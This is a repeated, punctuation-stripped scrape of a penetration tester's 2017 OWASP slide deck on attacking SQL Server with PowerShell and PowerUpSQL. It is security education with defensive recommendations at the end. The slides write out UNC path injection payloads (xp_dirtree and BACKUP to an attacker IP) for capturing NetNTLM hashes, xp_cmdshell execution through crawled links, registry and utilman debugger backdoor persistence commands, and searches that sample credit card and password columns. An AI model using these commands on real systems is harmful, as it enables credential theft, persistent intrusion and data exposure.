hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 57: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 58: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

